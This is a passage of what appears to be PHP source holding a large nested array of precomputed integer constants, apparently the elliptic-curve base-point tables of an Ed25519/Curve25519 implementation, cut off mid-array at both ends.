                array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905),
                array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409),
            ),
            array(
                array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409),
                array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499),
                array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363),
            ),
            array(
                array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664),
                array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324),
                array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940),
            ),
            array(
                array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990),
                array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914),
                array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290),
            ),
            array(
                array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257),
                array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433),
                array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236),
            ),
            array(
                array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045),
                array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093),
                array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347),
            ),
        ),
        array(
            array(
                array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191),
                array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507),
                array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906),
            ),
            array(
                array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018),
                array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109),
                array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926),
            ),
            array(
                array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528),
                array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625),
                array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286),
            ),
            array(
                array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033),
                array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866),
                array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896),
            ),
            array(
                array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075),
                array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858),
